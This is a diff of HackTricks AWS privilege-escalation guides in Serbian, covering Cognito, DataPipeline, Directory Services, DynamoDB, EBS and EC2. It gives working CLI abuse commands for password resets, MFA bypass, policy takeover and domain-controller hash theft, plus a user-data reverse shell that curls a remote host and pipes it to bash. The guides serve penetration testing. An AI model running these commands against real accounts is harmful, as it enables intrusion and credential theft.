uticaj**: Kompromitovanje konfigurisane autentifikovane IAM role unutar identity pool-a. + +### `cognito-idp:AdminAddUserToGroup` + +Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, zato napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM roles**: +```bash +aws cognito-idp admin-add-user-to-group \ +--user-pool-id \ +--username \ +--group-name +``` +**Potencijalni uticaj:** Privesc na druge Cognito grupe i IAM role vezane za User Pool Groups. + +### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` + +Napadač sa ovim dozvolama može **kreirati/ažurirati grupe** sa **svakom IAM rolom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika članom te grupe, dobijajući pristup svim tim rolama: +```bash +aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn +``` +**Potential Impact:** Privesc na druge Cognito IAM role. + +### `cognito-idp:AdminConfirmSignUp` + +Ova dozvola omogućava **potvrdu registracije**. Po podrazumevanim podešavanjima, svako može da se prijavi u Cognito aplikacije. Ako je to omogućeno, korisnik može da kreira nalog sa bilo kojim podacima i potvrdi ga ovom dozvolom. +```bash +aws cognito-idp admin-confirm-sign-up \ +--user-pool-id \ +--username +``` +**Potencijalni uticaj:** Indirektni privesc na identity pool IAM role za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije koje omogućavaju potvrđivanje bilo kog naloga. + +### `cognito-idp:AdminCreateUser` + +Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar user pool-a. Novi korisnik se kreira kao aktiviran, ali će morati da promeni lozinku. +```bash +aws cognito-idp admin-create-user \ +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] +``` +**Potencijalni uticaj:** Direktni privesc ka identity pool IAM role za authenticated users. Indirektni privesc ka drugim funkcionalnostima aplikacije koje mogu da kreiraju bilo kog korisnika + +### `cognito-idp:AdminEnableUser` + +Ova dozvola može pomoći u veoma retkom slučaju kada napadač pronađe podatke za prijavu onemogućenog korisnika i treba da **ponovo omogući** nalog. +```bash +aws cognito-idp admin-enable-user \ +--user-pool-id \ +--username +``` +**Potencijalni uticaj:** Indirektno privesc na identity pool IAM role za autentifikovane korisnike i dozvole korisnika ako napadač ima kredencijale za onemogućenog korisnika. + +### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** + +Ovo dopuštenje omogućava prijavu pomoću [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pogledajte link. + +### `cognito-idp:AdminSetUserPassword` + +Ovo dopuštenje bi napadaču omogućilo **promeniti lozinku bilo kog korisnika**, omogućavajući napadaču da se predstavlja kao bilo koji korisnik (koji nema omogućen MFA). +```bash +aws cognito-idp admin-set-user-password \ +--user-pool-id \ +--username \ +--password \ +--permanent +``` +**Potencijalni uticaj:** Direktan privesc na potencijalno bilo kog korisnika, što omogućava pristup svim grupama kojima je taj korisnik član i pristup Identity Pool authenticated IAM role. + +### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` + +**AdminSetUserSettings**: Napadač bi mogao potencijalno zloupotrebiti ovu dozvolu da podesi mobilni telefon koji kontroliše kao **SMS MFA korisnika**. +```bash +aws cognito-idp admin-set-user-settings \ +--user-pool-id \ +--username \ +--mfa-options +``` +**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita. +```bash +aws cognito-idp admin-set-user-mfa-preference \ +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id +``` +**SetUserPoolMfaConfig**: Slično prethodnoj, ova dozvola se može koristiti za podešavanje MFA preferencija user pool-a kako bi se zaobišla MFA zaštita. +```bash +aws cognito-idp set-user-pool-mfa-config \ +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] +``` +**UpdateUserPool:** Moguće je ažurirati user pool da se promeni MFA politika. [Pogledaj CLI ovde](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). + +**Potencijalni uticaj:** Neizravan privesc na potencijalno bilo kog korisnika čije kredencijale napadač zna; ovo može omogućiti zaobilaženje MFA zaštite. + +### `cognito-idp:AdminUpdateUserAttributes` + +Napadač sa ovom dozvolom može promeniti email, broj telefona ili bilo koji drugi atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u povezanoj aplikaciji.\ +Ovo omogućava promenu email-a ili broja telefona i njihovo označavanje kao verifikovanih. +```bash +aws cognito-idp admin-update-user-attributes \ +--user-pool-id \ +--username \ +--user-attributes +``` +**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji dodeljuje privilegije na osnovu atributa korisnika. + +### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` + +Napadač sa ovom dozvolom mogao bi **kreirati novi User Pool Client manje restriktivan** od već postojećih. Na primer, novi client bi mogao dozvoliti bilo koji metod za authenticate, ne bi imao any secret, onemogućeno bi bilo token revocation, tokeni bi mogli važiti duže vreme... + +Isto se može desiti ako, umesto kreiranja novog clienta, **postojeći bude izmenjen**. + +U [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite! +```bash +aws cognito-idp create-user-pool-client \ +--user-pool-id \ +--client-name \ +[...] +``` +**Potential Impact:** Potencijalni indirektni privesc ka autorizovanom korisniku Identity Pool koji se koristi od strane User Pool kreiranjem novog klijenta koji popušta bezbednosne mere i omogućava napadaču da se prijavi koristeći korisnika kojeg je uspeo da kreira. + +### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` + +Napadač bi mogao zloupotrebiti ovu dozvolu da kreira korisnike učitavanjem CSV-a sa novim korisnicima. +```bash +# Create a new import job +aws cognito-idp create-user-import-job \ +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn + +# Use a new import job +aws cognito-idp start-user-import-job \ +--user-pool-id \ +--job-id + +# Both options before will give you a URL where you can send the CVS file with the users to create +curl -v -T "PATH_TO_CSV_FILE" \ +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +``` +(U slučaju da kreirate novi import job možda će vam takođe trebati iam passrole dozvola, nisam to još testirao). + +**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije koje bi omogućile kreiranje bilo kog korisnika. + +### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` + +Napadač bi mogao da kreira novog identity providera kako bi se potom mogao **prijaviti preko ovog providera**. +```bash +aws cognito-idp create-identity-provider \ +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] +``` +**Potencijalni uticaj:** Direktan privesc na identity pool IAM role za authenticated users. Indirektan privesc na druge funkcionalnosti aplikacije koje omogućavaju kreiranje bilo kog korisnika. + +### cognito-sync:\* Analysis + +Ovo je veoma uobičajena dozvola po defaultu u rolama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek deluje loše (pogotovo kod AWS), **date dozvole nisu preterano korisne iz perspektive napadača**. + +Ova dozvola omogućava čitanje informacija o Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\ +Identity IDs mogu imati dodeljene [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), koje su informacije o sesijama (AWS ih definiše kao **saved game**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali verovatnoća je prilično niska). Na [**stranici za enumeraciju**](../../aws-services/aws-cognito-enum/index.html) možete pronaći kako pristupiti tim informacijama. + +Napadač takođe može iskoristiti ove dozvole da se pretplati na Cognito stream koji objavljuje promene na tim dataset-ima ili na lambda koja se okida na cognito događaje. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće. + +### Automatski alati + +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilege escalation zasnovan na izmenjivim custom atributima, iskoristivim identity pool credential-ima, assumable rolama u id tokenima, itd. + +Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za instrukcije instalacije pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. + +#### Upotreba + +Primer cognito\_\_attack upotrebe za pokušaj kreiranja korisnika i svih privesc vektora protiv zadatog identity pool-a i user pool client-a: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Primer korišćenja cognito\_\_enum za prikupljanje svih user pools, user pool clients, identity pools, users itd. vidljivih u trenutnom AWS nalogu: +```bash +Pacu (new:test) > run cognito__enum +``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući privesc escalation. + +#### Instalacija +```bash +$ pip install cognito-scanner +``` +#### Upotreba +```bash +$ cognito-scanner --help +``` +Za više informacija pogledajte [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md index cf0af636d..209ed26a2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md @@ -1,22 +1,22 @@ # AWS - Datapipeline Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## datapipeline -Za više informacija o datapipeline-u pogledajte: +Za više informacija o datapipeline pogledajte: {{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md {{#endref}} ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Korisnici sa ovim **dozvolama mogu eskalirati privilegije kreiranjem Data Pipeline-a** za izvršavanje proizvoljnih komandi koristeći **dozvole dodeljene ulogama:** +Korisnici sa ovim **permissions can escalate privileges by creating a Data Pipeline** mogu da izvrše proizvoljne komande koristeći **permissions of the assigned role:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` -Nakon kreiranja pipeline-a, napadač ažurira njegovu definiciju kako bi odredio specifične akcije ili kreacije resursa: +Nakon kreiranja pipeline-a, attacker ažurira njegovu definiciju kako bi naložio konkretne akcije ili kreiranje resursa: ```json { "objects": [ @@ -50,19 +50,19 @@ Nakon kreiranja pipeline-a, napadač ažurira njegovu definiciju kako bi odredio } ``` > [!NOTE] -> Imajte na umu da **uloga** u **linijama 14, 15 i 27** mora biti uloga **koju može preuzeti datapipeline.amazonaws.com**, a uloga u **liniji 28** mora biti **uloga koju može preuzeti ec2.amazonaws.com sa EC2 profilom instance**. +> Imajte na umu da **role** u **linijama 14, 15 i 27** mora biti **assumable by datapipeline.amazonaws.com** i da **role** u **liniji 28** mora biti **assumable by ec2.amazonaws.com with a EC2 profile instance**. > -> Pored toga, EC2 instanca će imati pristup samo ulozi koju može preuzeti EC2 instanca (tako da možete ukrasti samo tu). +> Pored toga, EC2 instance će imati pristup samo role koja je assumable by the EC2 instance (dakle možete ukrasti samo tu). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -**Fajl definicije pipeline-a, koji je kreirao napadač, uključuje direktive za izvršavanje komandi** ili kreiranje resursa putem AWS API-ja, koristeći dozvole uloge Data Pipeline-a da potencijalno stekne dodatne privilegije. +Datoteka definicije pipeline-a, kreirana od strane napadača, uključuje direktive za izvršavanje komandi ili kreiranje resursa putem AWS API-ja, iskorišćavajući permisije role Data Pipeline-a da bi se potencijalno stekle dodatne privilegije. -**Potencijalni uticaj:** Direktno privesc na ec2 servisnu ulogu koja je navedena. +**Potencijalni uticaj:** Direktan privesc na navedenu ec2 servisnu rolu. ## Reference - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md deleted file mode 100644 index 903a82800..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Directory Services Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Directory Services - -Za više informacija o uslugama direktorijuma, proverite: - -{{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md -{{#endref}} - -### `ds:ResetUserPassword` - -Ova dozvola omogućava **promenu** **lozinke** bilo kog **postojećeg** korisnika u Active Directory.\ -Po defaultu, jedini postojeći korisnik je **Admin**. -``` -aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. -``` -### AWS Management Console - -Moguće je omogućiti **URL za pristup aplikaciji** koji korisnici iz AD mogu koristiti za prijavu: - -
- -I zatim **dodeliti im AWS IAM ulogu** za vreme kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli: - -
- -Naizgled ne postoji način da se omogući URL za pristup aplikaciji, AWS upravljačka konzola i dodeli dozvola - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..1f779a0fd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Usluge direktorijuma Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Usluge direktorijuma + +Za više informacija o uslugama direktorijuma pogledajte: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Ovo dopuštenje omogućava da **promenite** **lozinku** bilo kog **postojećeg** korisnika u Active Directory.\ +Podrazumevano, jedini postojeći korisnik je **Admin**. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +Moguće je omogućiti **application access URL** kojem korisnici iz AD mogu pristupiti za prijavu: + +
+ +I zatim im dodeliti **AWS IAM role** kada se prijave — na taj način AD korisnik/grupa će imati pristup AWS Management Console: + +
+ +Izgleda da nema načina da se omogući application access URL, AWS Management Console i dodele dozvole + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index 022810ff0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -Za više informacija o dynamodb proverite: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, i opcionalno `dynamodb:GetResourcePolicy` - -Od marta 2024. godine, AWS nudi *politike zasnovane na resursima* za DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -Dakle, ako imate `dynamodb:PutResourcePolicy` za tabelu, možete jednostavno dodeliti sebi ili bilo kojem drugom subjektu potpuni pristup tabeli. - -Dodeljivanje `dynamodb:PutResourcePolicy` nasumičnom subjektu često se dešava slučajno, ako administratori misle da bi dodeljivanje `dynamodb:Put*` samo omogućilo subjektu da unese stavke u bazu podataka - ili ako su dodelili taj set dozvola pre marta 2024... - -Idealno, takođe imate `dynamodb:GetResourcePolicy`, tako da ne prepisujete druge potencijalno vitalne dozvole, već samo injektujete dodatne dozvole koje su vam potrebne: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -Ako ne možete da preuzmete trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A ovde je lista svih akcija koje mogu biti dozvoljene putem politike zasnovane na resursima *I koje od ovih mogu biti korišćene između naloga (razmislite o eksfiltraciji podataka!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Sada, sa dokumentom politike `policy.json` spremnim, postavite politiku resursa: -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Sada biste trebali imati potrebne dozvole. - -### Post Eksploatacija - -Koliko ja znam, **ne postoji drugi direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, poput lambda kod injekcija...) ali sve ove opcije su već razmatrane na **DynamoDB Post Eksploatacija stranici**: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: Čitajte podatke zloupotrebom data Streams - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..0c5289499 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +Za više informacija o dynamodb pogledajte: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy` + +Od marta 2024. AWS nudi *politike zasnovane na resursima* za DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Dakle, ako imate `dynamodb:PutResourcePolicy` za tabelu, možete sebi ili bilo kojem drugom principalu dodeliti potpuni pristup toj tabeli. + +Dodeljivanje `dynamodb:PutResourcePolicy` nasumičnom principalu često se dešava slučajno — na primer, ako administratori misle da dodeljivanje `dynamodb:Put*` dozvoljava samo da principal ubacuje stavke u bazu podataka — ili ako su taj permissionset dodelili pre marta 2024... + +Idealno bi bilo da imate i `dynamodb:GetResourcePolicy`, tako da ne prekrijete druge potencijalno važne dozvole, već samo ubacite dodatne dozvole koje su vam potrebne: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Ako ne možete da dohvatite trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A ovde je lista svih akcija koje mogu biti dozvoljene putem resource based policy *I koje od njih mogu da se koriste cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Sada, kada je policy dokument `policy.json` spreman, postavite resource policy: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Sada biste trebali imati dozvole koje su vam bile potrebne. + +### Post Exploitation + +Koliko ja znam, **ne postoji drugi direktan način da se escalate privileges u AWS samo posedovanjem nekih AWS `dynamodb` dozvola**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržavati AWS credentials) i **pisati informacije u tabele** (što može pokrenuti druge ranjivosti, kao što su lambda code injections...) ali sve ove opcije su već razmotrene na **DynamoDB Post Exploitation page**: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: Čitanje podataka zloupotrebom data Streams + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index 5a1d8cf1a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -Napadač sa ovim dozvolama će moći potencijalno **da preuzme i analizira snimke volumena lokalno** i traži osetljive informacije u njima (kao što su tajne ili izvorni kod). Saznajte kako to učiniti u: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -Druge dozvole mogu biti takođe korisne kao što su: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) izvodi ovaj napad da **izvuče lozinke iz kontrolera domena**. - -**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u snimku (možete čak dobiti Active Directory lozinke). - -### **`ec2:CreateSnapshot`** - -Svaki AWS korisnik koji poseduje **`EC2:CreateSnapshot`** dozvolu može ukrasti hešove svih korisnika domena kreiranjem **snimka Kontrolera domena** montirajući ga na instancu koju kontroliše i **izvozeći NTDS.dit i SYSTEM** registry hive datoteku za korišćenje sa Impacketovim secretsdump projektom. - -Možete koristiti ovaj alat za automatizaciju napada: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ili možete koristiti neku od prethodnih tehnika nakon kreiranja snimka. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..439fe9746 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +Napadač sa ovim dozvolama može potencijalno da **preuzme i lokalno analizira EBS snapshots** i pretražuje ih radi osetljivih informacija (kao secrets ili source code). Pronađite kako to uraditi u: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +Druge dozvole koje takođe mogu biti korisne uključuju: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. + +**Potential Impact:** Indirect privesc lociranjem osetljivih informacija u snapshot-u (možete čak dobiti Active Directory lozinke). + +### **`ec2:CreateSnapshot`** + +Bilo koji AWS korisnik koji poseduje dozvolu **`EC2:CreateSnapshot`** može ukrasti hash-ove svih korisnika domena tako što će napraviti **snapshot of the Domain Controller**, mountovati ga na instancu pod svojom kontrolom i **exporting the NTDS.dit and SYSTEM** registry hive fajl za upotrebu sa Impacket's secretsdump projektom. + +You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index c61a53529..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Za više **informacija o EC2** proverite: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da ukrade kredencijale IAM uloge sa metadata krajnje tačke. - -- **Pristup preko SSH** - -Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi, možda će vam biti potrebna dozvola `ec2:CreateKeyPair`). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Pristup putem rev shell-a u korisničkim podacima** - -Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate sigurnosnu grupu. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Budite oprezni sa GuradDuty ako koristite kredencijale IAM uloge van instance: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Potencijalni uticaj:** Direktno privesc na bilo koju EC2 ulogu koja je povezana sa postojećim profilima instance. - -#### Privesc na ECS - -Sa ovim skupom dozvola mogli biste takođe **napraviti EC2 instancu i registrovati je unutar ECS klastera**. Na ovaj način, ECS **usluge** će biti **pokrenute** unutar **EC2 instance** na kojoj imate pristup, a zatim možete prodrijeti u te usluge (docker kontejneri) i **ukrasti njihove ECS uloge** koje su povezane. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -Da biste naučili kako da **prisilite ECS usluge da se pokrenu** u ovoj novoj EC2 instanci, proverite: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -Ako **ne možete da kreirate novu instancu** ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu unutar klastera i izvršite komentarisani napad. - -**Potencijalni uticaj:** Direktno privesc na ECS uloge povezane sa zadacima. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Slično prethodnom scenariju, napadač sa ovim dozvolama mogao bi da **promeni IAM ulogu kompromitovane instance** kako bi mogao da ukrade nove akreditive.\ -Pošto profil instance može imati samo 1 ulogu, ako profil instance **već ima ulogu** (uobičajen slučaj), takođe će vam biti potrebna **`iam:RemoveRoleFromInstanceProfile`**. 